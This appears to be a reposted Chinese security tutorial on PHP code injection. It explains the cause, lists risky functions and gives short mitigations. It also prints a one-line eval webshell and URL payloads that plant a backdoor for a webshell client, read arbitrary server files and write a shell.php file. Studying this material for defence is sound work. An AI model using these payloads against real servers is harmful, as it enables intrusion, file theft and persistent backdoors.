一、PHP代碼注入
代碼注入(執行)是指應用程式過濾不嚴,用戶可以通過請求將代碼注入到應用中執行,類似于SQL注入,不同的是,SQL注入到資料庫執行,而代碼執行將注入到應用中最終由服務器運行它,相當于直接有一個web后門的存在,常見的是遠程代碼執行,簡稱RCE,
原因:
1.程式中含有可以執行php代碼的函式或者語言結構,
2.傳入第一點中的引數,客戶端可控,直接修改或者影響,
危害:可以繼承web用戶權限,執行任意代碼,讀寫目標服務器任意檔案,控制整個服務器,
二、相關函式陳述句
1.eval()
eval()會將字串當作php代碼執行,
測驗代碼(一句話木馬):
<?php
if(isset($_REQUSET['code'])){
@$str=$_REQUEST['code'];
eval($str);
}
?>
注: request 預定義超全域陣列變數,get、post、cookie傳參在request下都能接收的到,
傳參方式,在URL路徑后面加上:
?code=phpinfo(); 或者 ?code=${phpinfo()} ; 或者 ?code=1;phpinfo();
eval()函式可執行多條件陳述句,在后面加 ; 執行,
2.assert()
同樣作為php代碼執行
3.preg_replace()
對字串進行正則處理,
4.call_user_func()
有呼叫其他函式的功能,該函式的第一個值作為回呼函式,后面的值作為回呼函式的引數,
5.動態函式:$a($b)
由直接拼接的方式呼叫
三、漏洞利用
1.直接獲取shell
提交引數[?code=@eval($_post[1]);],即可構成一句話木馬,密碼為[1],可使用菜刀連接,
2.獲取當前檔案的絕對路徑
__FILE__是PHP 預定義常量,其含義是當前檔案的路徑,提交代碼[?code=print(__FILE__);]
3.讀檔案
利用file_get_contents()函式讀取服務器任意檔案,前提是知道目標檔案路徑和讀取權限,
提交代碼:
?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));
讀取服務器hosts檔案,
4.寫檔案
利用file_put_contents()函式,寫入檔案,前提是知道可寫目錄,
提交代碼:
?code=var_dump(file_put_contents($_POST[1],$_POST[2]));
要借助hackbar工具post提交引數
1=shell.php&2=<?php phpinfo()?>
即可在當前目錄下創建一個檔案shell.php
四、防御方法
1.盡量不要使用eval等函式
2.如果使用的話一定要嚴格過濾
3.preg_replace放棄使用/e修飾符
4.disable_functions=assert
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/301440.html
標籤:其他
上一篇:Burpsuite Intruder(測驗器)爆破的4種方式說明
下一篇:APP安全檢測解決方案淺析
